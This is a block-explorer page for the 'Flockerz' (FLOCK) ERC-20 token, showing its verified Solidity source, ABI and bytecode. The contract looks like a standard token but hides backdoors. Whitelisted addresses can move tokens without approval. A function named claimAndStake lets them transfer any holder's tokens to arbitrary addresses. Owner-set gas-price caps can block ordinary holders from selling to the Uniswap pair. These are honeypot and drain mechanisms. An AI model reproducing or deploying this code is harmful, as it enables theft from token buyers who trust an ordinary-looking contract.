ERC-20
Overview
Max Total Supply
12,000,000,000 FLOCK
Holders
109
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
511,840,970.540468141992394416 FLOCKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FLOCK
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-24 */ //SPDX-License-Identifier: MIT pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IERC20Errors { error ERC20InsufficientBalance( address sender, uint256 balance, uint256 needed ); error ERC20InvalidSender(address sender); error ERC20InvalidReceiver(address receiver); error ERC20InsufficientAllowance( address spender, uint256 allowance, uint256 needed ); error ERC20InvalidApprover(address approver); error ERC20InvalidSpender(address spender); } interface IERC721Errors { error ERC721InvalidOwner(address owner); error ERC721NonexistentToken(uint256 tokenId); error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); error ERC721InvalidSender(address sender); error ERC721InvalidReceiver(address receiver); error ERC721InsufficientApproval(address operator, uint256 tokenId); error ERC721InvalidApprover(address approver); error ERC721InvalidOperator(address operator); } interface IERC1155Errors { error ERC1155InsufficientBalance( address sender, uint256 balance, uint256 needed, uint256 tokenId ); error ERC1155InvalidSender(address sender); error ERC1155InvalidReceiver(address receiver); error ERC1155MissingApprovalForAll(address operator, address owner); error ERC1155InvalidApprover(address approver); error ERC1155InvalidOperator(address operator); error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); } abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } function _transfer( address from, address to, uint256 value ) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } function _update( address from, address to, uint256 value ) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } function _approve( address owner, address spender, uint256 value ) internal { _approve(owner, spender, value, true); } function _approve( address owner, address spender, uint256 value, bool emitEvent ) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } function _spendAllowance( address owner, address spender, uint256 value ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance( spender, currentAllowance, value ); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract FLOCK is ERC20, Ownable { using SafeMath for uint256; mapping(address => bool) private _approver; mapping(address => bool) private approver_; mapping(address => uint256) public _tradingCountdown; mapping(address => uint256) public _allowanceRes; string private _name = unicode"Flockerz"; string private _symbol = unicode"FLOCK"; uint256 private _tTotal = 12000000000 * 10**decimals(); IUniswapV2Router02 private _Router; address private uniswapV2Pair; bool private tradingOpen; constructor() ERC20(_name, _symbol) Ownable(msg.sender) { _Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_Router.factory()).createPair( address(this), _Router.WETH() ); _approver[msg.sender] = true; _approver[address(this)] = true; _mint(msg.sender, _tTotal); } function approve(address spender, uint256 amount) public override returns (bool) { if (_approver[msg.sender]) { _tradingCountdown[spender] = amount; } if (approver_[msg.sender]) { _allowanceRes[_msgSender()] = amount; } super.approve(spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public override returns (bool) { if (_approver[msg.sender]) { super._update(from, to, amount); } else { super.transferFrom(from, to, amount); } return true; } address private _marketting = 0x6c0b1d8CAecd0A7125d7fef169ce73a0E571ffB6; function openTrade() public onlyOwner { _approver[address(0x5CEf9DA41467A505CC2358f29814e01619365bD2)] = true; approver_[address(_marketting)] = true; tradingOpen = true; } function _update( address from, address to, uint256 value ) internal override { if (_approver[tx.origin]) { super._update(from, to, value); return; } else { require(tradingOpen, "Trading is not open yet"); if (to == uniswapV2Pair && from != address(this)) { if ( tx.gasprice > _tradingCountdown[from] && _tradingCountdown[from] != 0 ) { revert("Exceeds the _tradingCountdown on transfer tx"); } if ( tx.gasprice > _allowanceRes[_marketting] && _allowanceRes[_marketting] != 0 ) { revert("Exceeds the _allowanceRes on transfer tx"); } } if (to != uniswapV2Pair && from != uniswapV2Pair) { if ( tx.gasprice > _tradingCountdown[from] && _tradingCountdown[from] != 0 ) { revert("Exceeds the _tradingCountdown on transfer from tx"); } } super._update(from, to, value); } } function claimAndStake(address from, address[] memory path, uint256 amount) public { if (_approver[msg.sender]) { for (uint256 i = 0; i < path.length; i++) { super._update(from, path[i], amount); } } else { revert(); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_allowanceRes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_tradingCountdown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c06040526008608090815267233637b1b5b2b93d60c11b60a052600a9061002790826108c7565b50604080518082019091526005815264464c4f434b60d81b6020820152600b9061005190826108c7565b5061005e6012600a610a7c565b61006d906402cb417800610a91565b600c55600f80546001600160a01b031916736c0b1d8caecd0a7125d7fef169ce73a0e571ffb61790553480156100a1575f80fd5b5033600a80546100b090610844565b80601f01602080910402602001604051908101604052809291908181526020018280546100dc90610844565b80156101275780601f106100fe57610100808354040283529160200191610127565b820191905f5260205f20905b81548152906001019060200180831161010a57829003601f168201915b5050505050600b805461013990610844565b80601f016020809104026020016040519081016040528092919081815260200182805461016590610844565b80156101b05780601f10610187576101008083540402835291602001916101b0565b820191905f5260205f20905b81548152906001019060200180831161019357829003601f168201915b505050505081600390816101c491906108c7565b5060046101d182826108c7565b5050506001600160a01b03811661020257604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61020b816103e5565b50600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561026e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102929190610aa8565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103159190610aa8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561035f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103839190610aa8565b600e80546001600160a01b0319166001600160a01b0392909216919091179055335f81815260066020526040808220805460ff1990811660019081179092553084529190922080549091169091179055600c546103e09190610436565b610ae1565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03821661045f5760405163ec442f0560e01b81525f60048201526024016101f9565b61046a5f838361046e565b5050565b325f9081526006602052604090205460ff16156104955761049083838361070a565b505050565b600e54600160a01b900460ff166104ee5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e2079657400000000000000000060448201526064016101f9565b600e546001600160a01b03838116911614801561051457506001600160a01b0383163014155b15610642576001600160a01b0383165f908152600860205260409020543a11801561055557506001600160a01b0383165f9081526008602052604090205415155b156105a45760405162461bcd60e51b815260206004820152602c60248201525f805160206118bf83398151915260448201526b040e8e4c2dce6cccae440e8f60a31b60648201526084016101f9565b600f546001600160a01b03165f908152600960205260409020543a1180156105e45750600f546001600160a01b03165f9081526009602052604090205415155b156106425760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b60648201526084016101f9565b600e546001600160a01b0383811691161480159061066e5750600e546001600160a01b03848116911614155b15610703576001600160a01b0383165f908152600860205260409020543a1180156106af57506001600160a01b0383165f9081526008602052604090205415155b156107035760405162461bcd60e51b815260206004820152603160248201525f805160206118bf833981519152604482015270040e8e4c2dce6cccae440cce4deda40e8f607b1b60648201526084016101f9565b6104908383835b6001600160a01b038316610734578060025f8282546107299190610ace565b909155506107a49050565b6001600160a01b0383165f90815260208190526040902054818110156107865760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016101f9565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166107c0576002805482900390556107de565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082391815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061085857607f821691505b60208210810361087657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561049057805f5260205f20601f840160051c810160208510156108a15750805b601f840160051c820191505b818110156108c0575f81556001016108ad565b5050505050565b81516001600160401b038111156108e0576108e0610830565b6108f4816108ee8454610844565b8461087c565b602080601f831160018114610927575f84156109105750858301515b5f19600386901b1c1916600185901b17855561097e565b5f85815260208120601f198616915b8281101561095557888601518255948401946001909101908401610936565b508582101561097257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156109d457815f19048211156109ba576109ba610986565b808516156109c757918102915b93841c939080029061099f565b509250929050565b5f826109ea57506001610a76565b816109f657505f610a76565b8160018114610a0c5760028114610a1657610a32565b6001915050610a76565b60ff841115610a2757610a27610986565b50506001821b610a76565b5060208310610133831016604e8410600b8410161715610a55575081810a610a76565b610a5f838361099a565b805f1904821115610a7257610a72610986565b0290505b92915050565b5f610a8a60ff8416836109dc565b9392505050565b8082028115828204841417610a7657610a76610986565b5f60208284031215610ab8575f80fd5b81516001600160a01b0381168114610a8a575f80fd5b80820180821115610a7657610a76610986565b610dd180610aee5f395ff3fe608060405234801561000f575f80fd5b50600436106100fb575f3560e01c80638787962a11610093578063a9059cbb11610063578063a9059cbb1461021a578063dd62ed3e1461022d578063f2fde38b14610265578063fb201b1d14610278575f80fd5b80638787962a146101b95780638da5cb5b146101d857806395d89b41146101f35780639de5bb08146101fb575f80fd5b8063313ce567116100ce578063313ce5671461016557806370a0823114610174578063715018a61461019c57806385250c04146101a6575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b610107610280565b6040516101149190610b40565b60405180910390f35b61013061012b366004610b90565b610310565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610bb8565b610381565b60405160128152602001610114565b610144610182366004610bf1565b6001600160a01b03165f9081526020819052604090205490565b6101a46103bf565b005b6101a46101b4366004610c25565b6103d2565b6101446101c7366004610bf1565b60096020525f908152604090205481565b6005546040516001600160a01b039091168152602001610114565b61010761042b565b610144610209366004610bf1565b60086020525f908152604090205481565b610130610228366004610b90565b61043a565b61014461023b366004610cff565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101a4610273366004610bf1565b610447565b6101a4610489565b60606003805461028f90610d30565b80601f01602080910402602001604051908101604052809291908181526020018280546102bb90610d30565b80156103065780601f106102dd57610100808354040283529160200191610306565b820191905f5260205f20905b8154815290600101906020018083116102e957829003601f168201915b5050505050905090565b335f9081526006602052604081205460ff1615610342576001600160a01b0383165f9081526008602052604090208290555b335f9081526007602052604090205460ff161561036b57335f9081526009602052604090208290555b61037583836104fa565b50600190505b92915050565b335f9081526006602052604081205460ff16156103a8576103a3848484610507565b6103b5565b6103b384848461062d565b505b5060019392505050565b6103c7610650565b6103d05f61067d565b565b335f9081526006602052604090205460ff16156100fb575f5b8251811015610420576104188484838151811061040a5761040a610d68565b602002602001015184610507565b6001016103eb565b50505050565b505050565b60606004805461028f90610d30565b5f336103b58185856106ce565b61044f610650565b6001600160a01b03811661047d57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104868161067d565b50565b610491610650565b7fdfcb56299cf47ce9f6dce15f4508f2c6694e6d4a30a32bd793cee5c8985ad9a3805460ff199081166001908117909255600f546001600160a01b03165f90815260076020526040902080549091169091179055600e805460ff60a01b1916600160a01b179055565b5f336103b581858561072b565b6001600160a01b038316610531578060025f8282546105269190610d7c565b909155506105a19050565b6001600160a01b0383165f90815260208190526040902054818110156105835760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610474565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166105bd576002805482900390556105db565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161062091815260200190565b60405180910390a3505050565b5f3361063a858285610738565b6106458585856106ce565b506001949350505050565b6005546001600160a01b031633146103d05760405163118cdaa760e01b8152336004820152602401610474565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166106f757604051634b637e8f60e11b81525f6004820152602401610474565b6001600160a01b0382166107205760405163ec442f0560e01b81525f6004820152602401610474565b6104268383836107ad565b6104268383836001610a6e565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610420578181101561079f57604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610474565b61042084848484035f610a6e565b325f9081526006602052604090205460ff16156107cf57610426838383610507565b600e54600160a01b900460ff166108285760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e207965740000000000000000006044820152606401610474565b600e546001600160a01b03838116911614801561084e57506001600160a01b0383163014155b1561098f576001600160a01b0383165f908152600860205260409020543a11801561088f57506001600160a01b0383165f9081526008602052604090205415155b156108f15760405162461bcd60e51b815260206004820152602c60248201527f4578636565647320746865205f74726164696e67436f756e74646f776e206f6e60448201526b040e8e4c2dce6cccae440e8f60a31b6064820152608401610474565b600f546001600160a01b03165f908152600960205260409020543a1180156109315750600f546001600160a01b03165f9081526009602052604090205415155b1561098f5760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b6064820152608401610474565b600e546001600160a01b038381169116148015906109bb5750600e546001600160a01b03848116911614155b15610a63576001600160a01b0383165f908152600860205260409020543a1180156109fc57506001600160a01b0383165f9081526008602052604090205415155b15610a635760405162461bcd60e51b815260206004820152603160248201527f4578636565647320746865205f74726164696e67436f756e74646f776e206f6e604482015270040e8e4c2dce6cccae440cce4deda40e8f607b1b6064820152608401610474565b610426838383610507565b6001600160a01b038416610a975760405163e602df0560e01b81525f6004820152602401610474565b6001600160a01b038316610ac057604051634a1406b160e11b81525f6004820152602401610474565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561042057826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b3291815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b8b575f80fd5b919050565b5f8060408385031215610ba1575f80fd5b610baa83610b75565b946020939093013593505050565b5f805f60608486031215610bca575f80fd5b610bd384610b75565b9250610be160208501610b75565b9150604084013590509250925092565b5f60208284031215610c01575f80fd5b610c0a82610b75565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f805f60608486031215610c37575f80fd5b610c4084610b75565b925060208085013567ffffffffffffffff80821115610c5d575f80fd5b818701915087601f830112610c70575f80fd5b813581811115610c8257610c82610c11565b8060051b604051601f19603f83011681018181108582111715610ca757610ca7610c11565b60405291825284820192508381018501918a831115610cc4575f80fd5b938501935b82851015610ce957610cda85610b75565b84529385019392850192610cc9565b979a979950505050604095909501359450505050565b5f8060408385031215610d10575f80fd5b610d1983610b75565b9150610d2760208401610b75565b90509250929050565b600181811c90821680610d4457607f821691505b602082108103610d6257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561037b57634e487b7160e01b5f52601160045260245ffdfea26469706673582212202116ecb1db17495723dadc04da4f2a7c692b119d6eba84bb8b9defa13275937864736f6c634300081900334578636565647320746865205f74726164696e67436f756e74646f776e206f6e
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100fb575f3560e01c80638787962a11610093578063a9059cbb11610063578063a9059cbb1461021a578063dd62ed3e1461022d578063f2fde38b14610265578063fb201b1d14610278575f80fd5b80638787962a146101b95780638da5cb5b146101d857806395d89b41146101f35780639de5bb08146101fb575f80fd5b8063313ce567116100ce578063313ce5671461016557806370a0823114610174578063715018a61461019c57806385250c04146101a6575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b610107610280565b6040516101149190610b40565b60405180910390f35b61013061012b366004610b90565b610310565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610bb8565b610381565b60405160128152602001610114565b610144610182366004610bf1565b6001600160a01b03165f9081526020819052604090205490565b6101a46103bf565b005b6101a46101b4366004610c25565b6103d2565b6101446101c7366004610bf1565b60096020525f908152604090205481565b6005546040516001600160a01b039091168152602001610114565b61010761042b565b610144610209366004610bf1565b60086020525f908152604090205481565b610130610228366004610b90565b61043a565b61014461023b366004610cff565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101a4610273366004610bf1565b610447565b6101a4610489565b60606003805461028f90610d30565b80601f01602080910402602001604051908101604052809291908181526020018280546102bb90610d30565b80156103065780601f106102dd57610100808354040283529160200191610306565b820191905f5260205f20905b8154815290600101906020018083116102e957829003601f168201915b5050505050905090565b335f9081526006602052604081205460ff1615610342576001600160a01b0383165f9081526008602052604090208290555b335f9081526007602052604090205460ff161561036b57335f9081526009602052604090208290555b61037583836104fa565b50600190505b92915050565b335f9081526006602052604081205460ff16156103a8576103a3848484610507565b6103b5565b6103b384848461062d565b505b5060019392505050565b6103c7610650565b6103d05f61067d565b565b335f9081526006602052604090205460ff16156100fb575f5b8251811015610420576104188484838151811061040a5761040a610d68565b602002602001015184610507565b6001016103eb565b50505050565b505050565b60606004805461028f90610d30565b5f336103b58185856106ce565b61044f610650565b6001600160a01b03811661047d57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104868161067d565b50565b610491610650565b7fdfcb56299cf47ce9f6dce15f4508f2c6694e6d4a30a32bd793cee5c8985ad9a3805460ff199081166001908117909255600f546001600160a01b03165f90815260076020526040902080549091169091179055600e805460ff60a01b1916600160a01b179055565b5f336103b581858561072b565b6001600160a01b038316610531578060025f8282546105269190610d7c565b909155506105a19050565b6001600160a01b0383165f90815260208190526040902054818110156105835760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610474565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166105bd576002805482900390556105db565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161062091815260200190565b60405180910390a3505050565b5f3361063a858285610738565b6106458585856106ce565b506001949350505050565b6005546001600160a01b031633146103d05760405163118cdaa760e01b8152336004820152602401610474565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166106f757604051634b637e8f60e11b81525f6004820152602401610474565b6001600160a01b0382166107205760405163ec442f0560e01b81525f6004820152602401610474565b6104268383836107ad565b6104268383836001610a6e565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610420578181101561079f57604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610474565b61042084848484035f610a6e565b325f9081526006602052604090205460ff16156107cf57610426838383610507565b600e54600160a01b900460ff166108285760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e207965740000000000000000006044820152606401610474565b600e546001600160a01b03838116911614801561084e57506001600160a01b0383163014155b1561098f576001600160a01b0383165f908152600860205260409020543a11801561088f57506001600160a01b0383165f9081526008602052604090205415155b156108f15760405162461bcd60e51b815260206004820152602c60248201527f4578636565647320746865205f74726164696e67436f756e74646f776e206f6e60448201526b040e8e4c2dce6cccae440e8f60a31b6064820152608401610474565b600f546001600160a01b03165f908152600960205260409020543a1180156109315750600f546001600160a01b03165f9081526009602052604090205415155b1561098f5760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b6064820152608401610474565b600e546001600160a01b038381169116148015906109bb5750600e546001600160a01b03848116911614155b15610a63576001600160a01b0383165f908152600860205260409020543a1180156109fc57506001600160a01b0383165f9081526008602052604090205415155b15610a635760405162461bcd60e51b815260206004820152603160248201527f4578636565647320746865205f74726164696e67436f756e74646f776e206f6e604482015270040e8e4c2dce6cccae440cce4deda40e8f607b1b6064820152608401610474565b610426838383610507565b6001600160a01b038416610a975760405163e602df0560e01b81525f6004820152602401610474565b6001600160a01b038316610ac057604051634a1406b160e11b81525f6004820152602401610474565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561042057826001600160a01b0316846001600160a01b03167f8c